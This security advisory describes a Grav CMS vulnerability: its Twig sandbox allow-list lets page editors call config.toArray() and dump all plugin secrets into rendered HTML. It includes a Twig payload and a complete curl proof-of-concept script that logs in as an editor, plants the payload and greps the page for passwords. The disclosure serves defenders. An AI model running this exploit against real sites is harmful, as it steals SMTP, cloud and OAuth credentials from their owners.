The Twig sandbox allow-list permits any user with the admin.pages role to call config.toArray() from within a page body, dumping the entire merged site configuration — including all plugin secrets (SMTP passwords, AWS keys, OAuth client secrets, API tokens) — into the rendered HTML. No administrator privileges are required.
The Twig sandbox allow-list in system/config/security.yaml explicitly permits Config::toArray() for the Grav\Common\Config\Config class:
- class: 'Grav\Common\Config\Config'
methods: 'get, toarray, value, default, offsetget, offsetexists'
The config object — which holds the full merged configuration tree including every key under plugins.* — is injected into every sandboxed render in system/src/Grav/Common/Twig/Twig.php (line 292):
$twig_vars = [..., 'config' => $config, ...]
Any editor with admin.pages can save a page with process.twig: true in the frontmatter and the following payload in the body:
{{ config.toArray()|json_encode|raw }}
When the page is rendered, the full config tree is dumped as JSON in the HTML, including all plugin secrets stored under user/config/plugins/*.yaml.
# Step 1 — Get login nonce
NONCE=$(curl -sc /tmp/cookies.txt http://TARGET/admin \
| grep -oP '(?<=name="login-nonce" value=")[^"]+')
# Step 2 — Login as editor (no admin.super)
curl -sc /tmp/cookies.txt -b /tmp/cookies.txt \
-X POST http://TARGET/admin \
--data-urlencode "data[username]=EDITOR_USER" \
--data-urlencode "data[password]=EDITOR_PASS" \
--data-urlencode "task=login" \
--data-urlencode "login-nonce=${NONCE}" -o /dev/null
# Step 3 — Get admin nonce
ADMIN_NONCE=$(curl -s -b /tmp/cookies.txt http://TARGET/admin/pages \
| grep -oP '(?<=admin-nonce" value=")[^"]+' | head -1)
# Step 4 — Save page with process.twig:true and payload
curl -s -b /tmp/cookies.txt \
-X POST http://TARGET/admin/pages/poc \
--data-urlencode "admin-nonce=${ADMIN_NONCE}" \
--data-urlencode "task=save" \
--data-urlencode "data[frontmatter]=title: poc
process:
twig: true
published: true" \
--data-urlencode "data[content]={{ config.toArray()|json_encode|raw }}" \
--data-urlencode "data[folder]=poc" \
--data-urlencode "data[route]=/" \
--data-urlencode "data[name]=default" -o /dev/null
# Step 5 — Retrieve secrets from rendered page
curl -s http://TARGET/poc | grep -o '"password":"[^"]*"'
Any user with the editor role (admin.pages) can exfiltrate all plugin credentials stored in the site configuration without any administrator privileges. Affected secrets include SMTP passwords, AWS access/secret keys, OAuth client secrets, reCAPTCHA keys, and any API token stored in plugin YAML config. Each extracted credential independently compromises the connected service.
{
"github_reviewed": true,
"github_reviewed_at": "2026-05-13T15:29:40Z",
"nvd_published_at": "2026-05-11T17:16:34Z",
"severity": "HIGH",
"cwe_ids": [
"CWE-200"
]
}